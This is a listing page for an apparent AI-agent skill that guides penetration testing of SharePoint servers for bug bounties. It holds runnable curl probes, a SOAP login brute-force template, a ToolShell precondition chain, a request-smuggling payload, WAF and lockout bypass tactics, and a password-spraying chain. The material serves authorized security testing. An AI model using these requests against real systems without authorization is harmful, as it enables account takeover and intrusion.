mcpField
H
hunt-sharepoint

hunt-sharepoint

github.com/uphiago安全1.3k41 次安装8 周前更新
代码仓库

关于 hunt-sharepoint

面向 SharePoint 的安全排查技能,用于识别版本信息、匿名端点、认证路径及其他攻击面信号。提供分步测试方法,并提醒避免将 URL 处理行为误判为 SSRF 等问题。

主要功能

  1. 01识别 SharePoint 版本
  2. 02梳理匿名端点
  3. 03检查旧式 SOAP 认证
  4. 04安全探测 ToolShell 前置条件
  5. 05发现 NTLM 与 SafeControl 信号

适用场景

  1. 01评估可从互联网访问的 SharePoint 场
  2. 02检查启用匿名访问的 Forms 认证区域
  3. 03核查旧版场的 CVE 暴露情况
  4. 04在授权测试中梳理 SharePoint 攻击面

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-sharepoint

安装后在 Claude Code 中输入/hunt-sharepoint确认已加载。

详细介绍

高价值目标

SharePoint Server(本地部署)是 2025—2026 年漏洞赏金 / 红队工作中最丰富的企业攻击面之一。三股力量交汇于此:

  1. 已停止支持、未打补丁的代码路径。 SharePoint Server 2013 于 2023-04-11 结束延长支持(最终版本 15.0.5545.1000 / KB5002381)。此后发布的每个 SharePoint CVE,在 SP2013 场中都永久无法修补。SP2016 将于 2026-07-14 结束支持;SP2019 将于 2026-07-14 结束支持(截至 2026 年 5 月,也就是未来 2 个月);目前只有 SP Subscription Edition 仍处于主动支持期。
  2. CVE-2025-53770 / 53771“ToolShell”——2025 年 7 月针对 SPE / SP2019 / SP2016 的紧急带外补丁链。存在漏洞的代码路径(匿名访问 /_layouts/15/ToolPane.aspx?DisplayMode=Edit + 匿名 __REQUESTDIGEST + 未加密的 ViewState)在 SP2013 中同样存在,且永远不会获得修复。
  3. 自定义品牌登录页会遗漏旧版 SOAP 登录。 /_vti_bin/Authentication.asmx 中的 Login SOAP 操作,相当于 WordPress 的 XMLRPC 绕过——可匿名接受原生 Forms 凭据;大多数场中都没有速率限制,即使品牌 UI 设置了锁定机制也是如此。

价值最高的 SharePoint 目标:

  • 仍可通过公共互联网访问的 SP2013 场——自 2023 年 4 月起的每个 CVE 都未修补。可提交严重级别的发现。
  • 基于 SharePoint 构建的经销商 / 合作伙伴 / 供应商门户(例如德国 VW 集团、某企业系统集成商等)——包含影响重大的业务数据,且常嵌套于企业 AD 树中。
  • 启用了匿名 Forms 身份验证区域的 SharePoint 场——Authentication.asmx 可被匿名暴力破解。
  • 位于企业 AD 父林中的 SharePoint——NTLM Type-2 泄漏(参见 hunt-ntlm-info)会泄露父林成员信息。
  • 集成了 Telerik 的 SharePoint 安装——除了 SP 自身的反序列化入口外,还存在额外入口。

**回报最高的资产类型:**可从互联网访问的 SP Server(任何版本)> 带有自定义解决方案挂钩的 SP Online > 仅在攻陷 VPN 后才能访问的内网 SP。


攻击面信号

响应头指纹(出现任意一项即可——通常会同时出现多项):

SPRequestGuid: <GUID>                           (always — anonymous and authenticated)
X-MS-InvokeApp: 1; RequireReadOnly              (SharePoint web request)
X-SharePointHealthScore: 0                      (SharePoint specific)
SPIisLatency: <ms>                              (SharePoint internal timing)
SPRequestDuration: <ms>                         (SharePoint request duration)
MicrosoftSharePointTeamServices: [REDACTED_IP]      (often stripped by ELB — but if present, exact version)
X-Forms_Based_Auth_Required: <login URL>        (Forms-auth zone indicator)
X-Forms_Based_Auth_Return_Url: <return URL>     (Forms-auth zone indicator)
X-MSDAVEXT_Error: 917656; Access denied...      (WebDAV extension active)
DAV: 1, 2                                       (WebDAV verbs supported)
Set-Cookie: ASP.NET_SessionId=...               (always — IIS session)
Set-Cookie: FedAuth=...; rtFa=...               (claims-mode auth)
Set-Cookie: WSS_FullScreenMode=...              (SharePoint UI mode)

URL / 路径指纹:

/_layouts/15/                  (SP2013+ layouts root — SP2010 used /_layouts/ without the 15)
/_layouts/14/                  (legacy SP2010 — almost EoL since 2020-10-13)
/_layouts/16/                  (some SP2019 / SPE)
/_vti_bin/                     (FrontPage-RPC + SOAP services)
/_vti_pvt/                     (FrontPage-RPC config — usually 403)
/_vti_inf.html                 (almost always anonymous; contains FPVersion banner)
/_api/                         (modern REST API)
/_api/$metadata                (OData metadata — often anonymous + large)
/_api/contextinfo              (FormDigest issuer — POST only)
/_catalogs/                    (site catalogs: masterpage, wp, lt, theme, solutions)
/_catalogs/users/simple.aspx   (user list — usually 403)
/_layouts/15/start.aspx        (anonymous landing — leaks version)
/_layouts/15/ToolPane.aspx     (web part editor — ToolShell sink)
/_layouts/15/Picker.aspx       (people/list picker — SafeControl recon)
/_layouts/15/download.aspx     (SP-internal file resolver — NOT outbound SSRF)
/_layouts/15/Authenticate.aspx (forms-auth redirector)
/_layouts/15/SignOut.aspx      (logout)
/_layouts/15/error.aspx        (error page — anonymous)
/_layouts/15/AccessDenied.aspx (denied page — anonymous)
/_layouts/15/scriptresx.ashx?culture=en-us&name=core    (resource bundle leak)
/_layouts/15/<Customer>/       (custom-branding modules — see Methodology step 8)
/_vti_bin/Authentication.asmx  (THE legacy login bypass — see hunt-auth-bypass Legacy-Protocol Matrix)
/_vti_bin/SharedAccess.asmx    (often anon-readable)
/_vti_bin/lists.asmx           (auth-required on hardened farms)
/_vti_bin/sites.asmx           (auth-required on hardened farms)
/_vti_bin/sts/                 (Security Token Service — usually 302 to error)
/sites/<name>/                 (site collections)
/personal/<user>/              (MySite / OneDrive-for-Business)

正文信号(HTML 响应中):

<meta name="GENERATOR" content="Microsoft SharePoint" />
RegisterSod("...","/_layouts/15/...");                    (Script-on-demand registration)
var g_initUrl='';                                          (start.aspx MDS state)
__REQUESTDIGEST                                            (CSRF token — leaks even to anon if endpoint mis-configured)
__VIEWSTATEENCRYPTED=""                                    (Sign-only ViewState — see hunt-aspnet)
"LibraryVersion":"15.0.X.XXXX"                             (in _api/contextinfo response)
Version:15, webPermMasks:{High:0,Low:                      (in start.aspx body)
HelpWindowKey('WSSEndUser_troubleshooting                  (anonymous error.aspx body)

技术栈信号:

  • Server: Microsoft-IIS/10.0 + 以 /_layouts/15/ 开头的路径 → SharePoint 2013/2016/2019/SE
  • SharePoint 前置 AWS ELB / ALB → 可能存在跨节点 ViewState MAC 问题(参见 hunt-aspnet)
  • /_api/web/CurrentUser 上的 WWW-Authenticate: NTLM → 双重身份验证(Forms + NTLM);使用 hunt-ntlm-info 获取 AD 拓扑信息
  • *.test.<customer>.tld → 生产 SharePoint 的测试 / 预发布镜像;其中的数据通常与生产环境同步

逐步狩猎方法

  1. 识别 SharePoint 版本。 可通过多个路径匿名获取版本号。立即将结果与 CVE 矩阵对应。

    # Method 1: _vti_inf.html (always anonymous, always present)
    curl --max-time 30 --connect-timeout 10 -sk "https://target.example/_vti_inf.html"
    # → FPVersion="[REDACTED_IP]" (15.x = SP2013, 16.x = SP2016/2019/SE)
    
    # Method 2: _api/contextinfo POST (anonymous on most farms)
    curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.example/_api/contextinfo" \
      -H "Accept: application/json;odata=verbose" \
      | jq -r '.d.GetContextWebInformation.LibraryVersion'
    # → "15.0.5545.1000" (full build number)
    
    # Method 3: /_layouts/15/start.aspx body
    curl --max-time 30 --connect-timeout 10 -sk "https://target.example/_layouts/15/start.aspx" \
      | grep -oE "15\.[0-9]+\.[0-9]+\.[0-9]+|16\.[0-9]+\.[0-9]+\.[0-9]+"
    

    与 CVE 矩阵对应:

    版本版本类型状态EoL 后仍未修补的显著 CVE
    15.0.5545.1000SP2013 最终 CUEoL 2023-04-11CVE-2023-29357、CVE-2023-33160/33157/36941、CVE-2024-21318/30043/38023/38024/38094、CVE-2025-53770/53771、CVE-2025-29794
    16.0.10416.xSP2016EoL 2026-07-14取决于补丁级别
    16.0.10417.x+SP2019 / SE仍受支持查看 Microsoft 每月的 Patch Tuesday
  2. 探测匿名端点矩阵。 一次性遍历下表中的所有端点。任何可匿名访问的端点都可能成为攻击链的一环。

    /_vti_inf.html                                          → version disclosure
    /_layouts/15/start.aspx                                 → version disclosure + session minting
    /_layouts/15/blank.htm                                  → benign anchor for smuggling probes
    /_layouts/15/error.aspx                                 → request-validator behaviour probe
    /_layouts/15/Authenticate.aspx?Source=                  → redirect-chain behaviour
    /_layouts/15/AccessDenied.aspx?Source=                  → redirect-chain behaviour
    /_layouts/15/SignOut.aspx                               → logout — anonymous OK
    /_layouts/15/closeConnection.aspx                       → anonymous OK
    /_layouts/15/scriptresx.ashx?culture=en-us&name=SP.Res  → 35KB localised strings
    /_layouts/15/scriptresx.ashx?culture=en-us&name=core    → 277KB localised strings
    /_layouts/15/ToolPane.aspx?DisplayMode=Edit             → ToolShell precondition (THIS IS THE BIG ONE)
    /_layouts/15/Picker.aspx                                → SafeControl recon (see step 6)
    /_layouts/15/<CustomerName>/pages/login/customlogin.aspx    → custom Forms login (replace `<CustomerName>` with target's customer name)
    /_vti_bin/Authentication.asmx                           → legacy SOAP login — anonymous brute-force (CRITICAL)
    /_vti_bin/Authentication.asmx?WSDL                      → WSDL — confirms Login + Mode ops
    /_vti_bin/SharedAccess.asmx                             → often anonymous
    /_vti_bin/spsdisco.aspx                                 → SP service discovery
    /_api/contextinfo (POST)                                → anonymous FormDigest mint (HIGH)
    /_api/$metadata                                         → 381KB API surface enumeration
    /_api/Search                                            → search service descriptor
    /_api/web/CurrentUser                                   → 401 anon BUT WWW-Authenticate: NTLM leaks AD info (see hunt-ntlm-info)
    
  3. 通过 Authentication.asmx 绕过旧版 SOAP 登录。 对照 hunt-auth-bypass 中的 Legacy-Protocol Matrix。标准探测方式:

    # First: confirm Mode = Forms (else this attack vector is N/A)
    curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.example/_vti_bin/Authentication.asmx" \
      -H "Content-Type: text/xml; charset=utf-8" \
      -H "SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Mode" \
      -d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Mode xmlns="http://schemas.microsoft.com/sharepoint/soap/" /></soap:Body></soap:Envelope>'
    # → <ModeResult>Forms</ModeResult>  ← target is exploitable
    # → <ModeResult>Windows</ModeResult>  ← target uses Windows auth only; this vector N/A
    
    # Then: confirm no rate limit / no lockout (synthetic non-existent users ONLY)
    # Send 10 bursts at "burst-test-synthetic-zzz" with distinct wrong passwords
    # If all 10 return 200 / 431 bytes / uniform timing → confirmed unlimited brute-force surface
    

    **严重程度:**匿名访问 + 无速率限制 + 无锁定机制时为严重。即使尚未证明身份验证成功,也应提交漏洞赏金报告——漏洞在于无上限的凭据验证,而不是“我破解了某个凭据”。

  4. 探测 ToolShell 前置条件链(CVE-2025-53770 类)。包括三个子请求:

    # Sub-step a: anonymous GET on ToolPane.aspx
    curl --max-time 30 --connect-timeout 10 -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit"
    # Body should contain: __REQUESTDIGEST="0x...,..."  AND  __VIEWSTATEENCRYPTED=""
    # If both: precondition stack is anonymous-reachable.
    
    # Sub-step b: anonymous POST to /_api/contextinfo
    curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.example/_api/contextinfo" \
      -H "Accept: application/json;odata=verbose" \
      | jq -r '.d.GetContextWebInformation.FormDigestValue'
    # Should return a valid digest with 1800s validity.
    
    # Sub-step c: anonymous POST to ToolPane.aspx with that digest as X-RequestDigest
    curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \
      -H "X-RequestDigest: <digest from step b>" \
      --data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none"
    # Should return 200 OK — server treats anonymous-with-digest as authorised state-changing POST.
    

    严重性: 对已终止支持的 SP2013 为严重(永远不会发布补丁)。如果 __VIEWSTATEENCRYPTED 非空,则对 SP2016/2019/SE 为高危(加密 ViewState 可缓解反序列化攻击路径,但此前提仍提示存在错误配置)。

    重要: 不要实际发送恶意 ViewState 载荷。此前提链已足以作为报告证据。在真实的 CVE-2025-53770 攻击链中,恢复 machineKey 并非实现 RCE 的前提条件:认证绕过(CVE-2025-49706,通过精心构造的 Referer 访问 ToolPane.aspx)+ 不安全反序列化(CVE-2025-49704),即可在不了解 machineKey 的情况下获得初始 Web shell。随后,Web shell 会转储 <machineKey>(ValidationKey/DecryptionKey),并用它伪造带签名的 __VIEWSTATE,以实现持久化/未认证的再次利用。因此,machineKey 是首次 RCE 后获取的战利品,也是持久化攻击路径的一环,而非攻击前置门槛——切勿仅因未知 machineKey 就低估存在可利用漏洞的场。

  5. NTLM Type-2 AD 拓扑信息泄露。 完整方法请参阅 hunt-ntlm-info。快速检查:

    # Use Burp send_http1_request with keep-alive, or Python raw socket
    # Anonymous Type-1 with NetBIOS-info request flag:
    #   Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==
    # Decode the Type-2 challenge → leaks NetBIOS domain, DNS forest, computer name
    

    严重性: 与互联网暴露 + 默认 WIN-XXXXXXXXXXX 主机名结合时为中危;否则为信息级。

  6. 通过 Picker.aspx 枚举 SafeControl。 Picker.aspx 根据类是否存在区分两种错误状态:

    • 类型存在但不在白名单中:"Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site."
    • 类型不存在:"Could not load type '<Class>' from assembly 'Microsoft.SharePoint, Version=[REDACTED_IP], Culture=neutral, PublicKeyToken=71e9bce111e9429c'."

    将 Microsoft.SharePoint.*.WebControls.* 和 Microsoft.SharePoint.WebPartPages.* 类型的词表输入其中,以枚举可访问的类。这份列表本身就是 CVE-2019-0604 系列攻击链的侦察信息。

    for cls in \
      "Microsoft.SharePoint.WebControls.PeopleEditor" \
      "Microsoft.SharePoint.WebControls.ItemPicker" \
      "Microsoft.SharePoint.WebPartPages.DataFormWebPart" \
      ; do
      curl --max-time 30 --connect-timeout 10 -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$cls")&typeName=System.String" \
        | grep -oE "<title>[^<]+</title>"
    done
    
  7. download.aspx 并非出站 SSRF——识别这一点,别浪费时间。 SP 的 /_layouts/15/download.aspx?SourceUrl= 是 SP 内部路径解析器,不是通用 URL 获取器。其行为如下:

    • 外部 URL(http://evil.example.com/x)→ 返回 500,提示 "The Web application at <URL> could not be found"——服务器尝试将其解析为 SP Web 应用,并未获取内容。
    • 同源文件 URL → 返回 500,提示 "<nativehr>0x81070211</nativehr>...Cannot open file '<path>'"——服务器尝试调用 SPFile.OpenBinary,文件不存在。
    • 匹配扩展名阻止列表的文件(.ashx、.asmx、.svc、.config)→ 无论文件是否存在,均返回 500,提示 "file blocked from this Web site by the server administrators"。
    • file://、UNC 路径、gopher:// 等 → 返回 500,提示 "Value does not fall within the expected range"——URL 方案验证器会拒绝请求。

    错误消息中回显 URL 并不能证明存在 SSRF。 声称存在 SSRF 前,请通过 Burp Collaborator OOB 确认。(请参阅 hunt-ssrf 的 OOB-Or-It-Didn't-Happen Gate。)在一次经授权的测试中已验证为否:在 12 个以上接受 URL 的 SP 参数中发送了 38 个带 Collaborator 标记的载荷,未收到任何回调。

    扩展名阻止列表看起来也像“文件存在性预言机”(存在与不存在时返回不同响应),但它实际上只是 SP 的文件扩展名策略。不要根据阻止列表响应推断文件是否存在。

  8. 自定义品牌模块枚举。 客户定制的 SP 安装几乎总会有一个 /_layouts/15/<CustomerName>/ 目录树。可从登录 URL 找出名称(例如,/_layouts/15/<CustomerName>/pages/login/customlogin.aspx → 客户名称为 <CustomerName>)。然后探测:

    for sub in pages Pages js Js JS css scripts handlers controls images config data services api; do
      curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code} %{size_download}\n" \
        "https://target.example/_layouts/15/CustomerName/$sub/"
      # 301/302 with auth-redirect = directory exists; 404 = missing; 403 = directory listing blocked but path valid
    done
    

    JS 包中通常包含硬编码的端点 URL、隐藏路由和内部 API 路径。获取每个文件时,请带上正确的 Referer 标头(有些文件受 Referer 限制)。

  9. 搜索服务探测。 /_api/Search 会匿名返回简短的 JSON 描述符。若 Search Service Application 未运行,/_api/search/query?querytext='X' 会返回包含堆栈跟踪的 500 响应——可用于基础设施信息泄露,但无法直接利用。

  10. 登录后需认证的界面(如果你拥有有效凭据):

    • /_api/web/Lists — 枚举列表
    • /_api/web/SiteUsers — 枚举用户
    • /_api/web/getfolderbyserverrelativeurl('/Shared Documents')/Files — 枚举文件
    • /_layouts/15/people.aspx — 用户列表
    • 自定义客户品牌模块 — 检查 IDOR 和业务逻辑
    • 工作流服务(/_api/SP.WorkflowServices.*)

载荷与检测模式

Authentication.asmx 登录(标准暴力破解端点):

POST /_vti_bin/Authentication.asmx HTTP/1.1
Host: target.example
Content-Type: text/xml; charset=utf-8
SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Login
Content-Length: 376

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <Login xmlns="http://schemas.microsoft.com/sharepoint/soap/">
      <username>USERNAME</username>
      <password>PASSWORD</password>
    </Login>
  </soap:Body>
</soap:Envelope>

响应代码:

  • <ErrorCode>NoError</ErrorCode> → 认证成功;随后返回 <CookieName>FedAuth</CookieName> 和 <TimeoutSeconds>...</TimeoutSeconds>
  • <ErrorCode>PasswordNotMatch</ErrorCode> → 认证失败(不存在的用户也会得到相同响应,因此不会通过错误字符串泄露用户枚举信息)
  • 500 + <faultstring>Value cannot be null. Parameter name: userName</faultstring> → 用户名为空

复现 ToolShell 前置条件:

# Step 1: anon GET ToolPane.aspx
TP=$(curl --max-time 30 --connect-timeout 10 -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit")
echo "$TP" | grep -oE '__VIEWSTATEENCRYPTED" id="__VIEWSTATEENCRYPTED" value="[^"]*"'
# If value="" → precondition

# Step 2: anon FormDigest
DIGEST=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.example/_api/contextinfo" \
  -H "Accept: application/json;odata=verbose" \
  | jq -r '.d.GetContextWebInformation.FormDigestValue')
echo "Digest: ${DIGEST:0:40}..."

# Step 3: anon POST ToolPane with digest
curl --max-time 30 --connect-timeout 10 -sk -X POST -H "X-RequestDigest: $DIGEST" \
  --data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none" \
  "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \
  -w "\ncode=%{http_code} size=%{size_download}\n"

AWS ELB + SP IIS 后端上的 HTTP TE.CL 请求走私(AWS ELB 后方的 SP 场均会稳定出现):

POST /_layouts/15/blank.htm HTTP/1.1
Host: target.example
Content-Length: 4
Transfer-Encoding: chunked

5c
GPOST /404 HTTP/1.1
Host: x
Content-Length: 15

x=1
0

预期后端挂起约 12 秒,基准值约为 0.16 秒(5 次试验结果一致)。混淆变体(Transfer-Encoding : chunked、transfer-encoding: chunked、尾随空格、混合大小写)会导致类似的约 6 秒挂起。

Picker.aspx SafeControl 侦察:

curl --max-time 30 --connect-timeout 10 -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=Microsoft.SharePoint.WebPartPages.DataFormWebPart&typeName=System.String" \
  | grep -oE "<title>[^<]+</title>"
# "Only PickerDialog types..." = exists, not whitelisted
# "Could not load type..."    = does not exist

常见根本原因

  1. /_vti_bin/Authentication.asmx 在面向公共区域的 IIS 绑定上仍处于启用状态。 SharePoint 管理员在自定义登录界面上启用表单身份验证,却没有意识到旧版 SOAP Login 端点仍可独立访问。

  2. 布局页面上的 viewStateEncryption="Auto"。 对于不包含敏感表单字段的页面,SharePoint 的默认 ViewState 模式只进行签名。ToolPane.aspx 等页面的 __VIEWSTATEENCRYPTED="",如果 machineKey 泄露,就可能被利用。

  3. 允许匿名 POST 访问 /_api/contextinfo。 SharePoint Online 和 SPE 2024-07+ 要求访问 contextinfo 时必须通过身份验证。较早版本和大多数 SP2013 场允许匿名 POST → 返回有效期为 1800 秒的 FormDigest 令牌。这是 ToolShell 的第二个前置条件。

  4. 面向公共区域的 IIS 绑定启用了 NTLM。 默认的双重身份验证(表单身份验证 + NTLM)会使匿名互联网用户也能使用 NTLM Negotiate。Type-2 挑战会泄露 AD 拓扑。

  5. 已过 EoL 的 SP2013 场仍暴露于互联网。 Microsoft 扩展支持已于 2023-04-11 结束。2023 年 4 月之后发布的所有 SharePoint CVE 都不会获得修补。在企业集成商场景中很常见(系统集成商位于企业母公司的 AD 内、由 SI 管理的经销商门户)。

  6. 将 web.config 中的 <SafeControl> 白名单视为唯一防护措施。 Picker.aspx 会执行 instanceof PickerDialog 检查,已修补原始 CVE-2019-0604 攻击路径,但 Picker.aspx 的错误差异仍会导致底层 SafeControl 模型可被匿名枚举。

  7. AWS ELB + SP IIS 未显式规范化 Transfer-Encoding。 ELB 默认会将 Transfer-Encoding 转发到后端 IIS;当两者同时存在时,IIS 对 Content-Length 的处理方式会导致与 ELB 脱节。多种 TE 混淆变体可绕过简单的 WAF 规则。

  8. 默认 Windows 安装程序主机名(WIN-XXXXXXXXXXX)从未更改。 这是匆忙部署的信号;与 SQL 后端默认服务帐户密码、管理中心默认场帐户密码等情况相关。

  9. 自定义品牌模块(/_layouts/15/<Customer>/)的 JS 包使用 ?v=YYYYMMDD 查询字符串。 查询字符串会显示最后修改日期,可用于判断“此应用仍在积极维护”还是“此应用已被弃用”。

  10. AWS ELB 未将会话亲和性固定到单个 WFE 时,会发生跨节点 ViewState MAC 验证失败。 从运行角度看,这会导致用户每次 POST 都收到 500 错误;从安全角度看,错误消息会泄露场拓扑结构。


绕过技术

防御措施绕过/侦察策略
带有品牌标识的 customlogin.aspx,并启用锁定/CAPTCHA/MFA/_vti_bin/Authentication.asmx 旧版 SOAP——这些保护措施均不适用
WWW-Authenticate: NTLM 要求调用方通过身份验证默认 IIS extendedProtection=None 允许匿名获取 Type-2 challenge——参见 hunt-ntlm-info
ELB 删除了 MicrosoftSharePointTeamServices 标头/_layouts/15/start.aspx 的正文仍会泄露版本;/_api/contextinfo 的 LibraryVersion 也会
/_vti_bin/lists.asmx 返回 403(SharedAccess.asmx / Authentication.asmx 仍开放)不同服务的 ACL 各不相同;应分别枚举所有 asmx
/_api/web/CurrentUser 返回带堆栈跟踪的 JSON 401即使在拒绝身份验证的响应中,堆栈跟踪也会泄露信息;可结合版本泄露利用
发放匿名 __REQUESTDIGEST(ToolShell 前置条件)配合匿名 ToolPane POST 和未加密的 ViewState;反序列化入口无需 machineKey 即可实现 RCE——随后 shell 会转储 machineKey,以便持续重新利用
已设置自定义错误页面触发不同代码路径(类似 XML 的 ViewState → 双解析器错误差异——参见 hunt-aspnet)
WAF 会拦截查询中的 <将载荷移至 Cookie / Referer / SOAP 正文——请求验证器不会检查这些上下文
通过 SafeControl 补丁拦截了 Microsoft.SharePoint.WebPartPages.DataFormWebPart枚举 SafeControl 列表;寻找可绕过继承门禁的子类
HTTP/2 H2.CL 请求走私AWS ALB 通常不会公布 h2 ALPN——通过 openssl s_client -alpn h2,http/1.1 尽早排除这类问题
Authenticate.aspx 将 Source= 包装在 ReturnUrl 中使用有效凭据测试身份验证后的行为;身份验证前的调用链会安全地包装所有内容

Gate 0 验证

撰写报告前:

  1. 攻击者现在能做什么?

    • Authentication.asmx 匿名开放且没有速率限制 → 严重(可无限次验证凭据;密码喷洒 + 来自 NTLM 的 UPN 格式 = 端到端 ATO 路径)
    • 完整的 ToolShell 前置条件链(匿名 GET + 匿名 FormDigest + 匿名 POST + 未加密 VS)+ 已终止支持的 SP2013 → 严重(可通过有充分文档记录的公开利用链实现 RCE,不会再发布补丁)
    • NTLM Type-2 泄露 AD 拓扑信息 + 默认 Windows 主机名 → 中等
    • 仅 SP2013 已终止支持 → 中低(合规/安全卫生问题;漏洞赏金计划的标准各不相同——有些接受,许多会拒绝)
    • download.aspx 回显 URL,但未确认 Collaborator 回连 → 不属于 SSRF——撤回
  2. 你是否已复现完整攻击链,达到攻击者可实现的影响?

    • 对于 Authentication.asmx:进行 10 次突发测试并确保时序一致,即足以证明没有速率限制。不要实际破解凭据。
    • 对于 ToolShell:前置条件链(步骤 a+b+c)即已足够。不要发送恶意载荷。
    • 对于 NTLM:解码 AV-pair 并显示 AD 拓扑字段,即已足够。
  3. 你能否从干净的 shell 在 <10 分钟内复现?

    • Authentication.asmx:2 条 curl 命令。
    • ToolShell 前置条件:3 条 curl 命令。
    • NTLM Type-2:1 段 Python 代码片段(AV-pair 解码器)。

真实影响示例

场景 A — 针对已停止生命周期的本地场服务器开展经授权的 SharePoint 测试

目标:https://target-portal.example/ — SharePoint Server 2013,内部版本 15.0.5545.1000(KB5002381 / 2023 年 4 月最终 EoL CU)。租户 = 企业全球 AD (customer.parent-corp.example) 内的系统集成商租户(瑞士 进口商)。服务器主机名 WIN-XXXXXXXXXXX(Windows 安装程序默认模式)。

共提交 11 项发现:3 项严重、2 项中等、6 项低危/信息类。3 项严重发现:

  1. Authentication.asmx 匿名凭据暴力破解 — 10 次突发测试显示响应时间稳定在 0.6–0.9 秒,没有速率限制、账户锁定、CAPTCHA 或 MFA 挑战。响应均为 431 字节。
  2. HTTP 请求走私 TE.CL — 5/5 次测试均显示后端挂起 12.18 秒,基线为 0.16 秒。另外,4 种混淆变体(冒号前空格、尾随空格、小写、大小写混合)均导致挂起 6.16 秒——每种都能绕过简单的 WAF 规则。
  3. ToolShell 前置条件链 — 匿名 GET ToolPane.aspx(200)+ 匿名 POST /_api/contextinfo(200,有效的 FormDigest)+ 携带摘要的匿名 POST ToolPane.aspx(200,无身份验证质询)+ __VIEWSTATEENCRYPTED=""。这是已停止生命周期的 SP2013 上的永久零日漏洞。

此外还有中等严重级别发现:NTLM Type-2 泄露完整 AD 拓扑(customer.parent-corp.example、WIN-XXXXXXXXXXX);SP2013 已停止生命周期暴露。

场景 B — 正确识别 /_layouts/15/download.aspx?SourceUrl= 并判定其不是 SSRF(节省时间示例)

同一目标。初始扫描将 download.aspx?SourceUrl=http://oob.example.com/ 标记为 SSRF,因为服务器在 500 错误标题中回显了该 URL("The Web application at http://oob.example.com/ could not be found")。对 12 个以上接受 URL 的 SP 参数使用 38 个 Collaborator 标记的载荷进行测试 → 没有 DNS/HTTP 回调。结论:download.aspx 是 SP 内部的 SPWebApplication / SPFile 解析器,不是通用 URL 获取器。“回显”是服务器端错误字符串格式化的结果。遵循 hunt-ssrf 的 OOB-Or-It-Didn't-Happen Gate,避免报告一项不适用的发现。

场景 C — 通过 Picker.aspx 验证 CVE-2019-0604 补丁

同一目标。向 Picker.aspx 提供 Microsoft.SharePoint.WebPartPages.DataFormWebPart(CVE-2019-0604 的标准反序列化 gadget),返回 "Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site." — 这表示该类型确实存在,且可通过反射访问,但对话框框架的 instanceof PickerDialog 补丁正确地拒绝了它。针对原始 CVE-2019-0604 利用向量的补丁确实已生效。类存在性枚举本身可用于侦察未来任何不经过继承门控的 CVE-2019-0604 系列利用链。


交叉引用

  • Authentication.asmx 旧版 SOAP 登录 → 有关 WordPress-XMLRPC 同类模式,请参阅 hunt-auth-bypass Legacy-Protocol Matrix。
  • NTLM Type-2 AD 拓扑泄露 → 有关 AV-pair 解码器和严重性分级标准,请参阅 hunt-ntlm-info。
  • ViewState 双解析器反模式、machineKey 恢复、请求验证绕过 → 请参阅 hunt-aspnet。
  • AWS ELB + IIS 上的 HTTP 请求走私 → 请参阅 hunt-http-smuggling。
  • 对 SP 上任何 SSRF 声明进行 OOB 确认 → 请参阅 hunt-ssrf OOB-Or-It-Didn't-Happen Gate。
  • 将卫生类发现作为漏洞赏金提交之前,先确认测试类型 → 请参阅 bb-methodology PART 0 Mode-Confirmation Gate。

验证

运行此自测以确认 SharePoint 测试准备就绪:

  1. 技能完整性 — 确认技能文件可读且格式正确:

    grep -q "name: hunt-sharepoint" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. 类别检查 — 确认技能具有类别:

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. 陷阱章节 — 确认已记录常见陷阱:

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

所有 3 项测试均可验证技能结构正确且已准备就绪。


易踩问题

  • 未关联 CVE 的 SharePoint 版本泄露 — 了解 SP 版本仅具信息价值。还需要与之匹配、可利用的 CVE。
  • 可访问 /_layouts/,但没有匿名操作 — 路径可达仅属于侦察。需要匿名读取、写入或执行权限。
  • SharePoint 已终止支持,但未实际利用 — “SharePoint 2013 已终止支持”属于安全卫生问题,而非漏洞。需要证明漏洞可被利用。
  • 匿名获取 FormDigest — 匿名请求 _api/contextinfo 会返回 FormDigest,这是利用 ToolShell 的前提,并非独立漏洞。
  • 现代身份验证与经典身份验证 — SharePoint Online 使用现代身份验证(OAuth)。本地部署的 SP 可能使用经典身份验证(NTLM/Kerberos)。两者的攻击面不同。

相关技能与攻击链

  • hunt-auth-bypass — 在配置错误的场中,旧版 SOAP /_vti_bin/Authentication.asmx 会接受匿名 Login 调用。攻击链原语:探测 SharePoint 匿名 SOAP 登录 → 如果响应返回 Cookie 或呈现成功状态差异 → 使用 hunt-auth-bypass 暴力破解矩阵(通过计时枚举用户名,并针对同一个绕过 ADFS 级锁定的 SOAP 端点,以低速率进行密码喷洒)→ 获取有效凭据 → 访问经过身份验证的 /_layouts/15/ 界面。
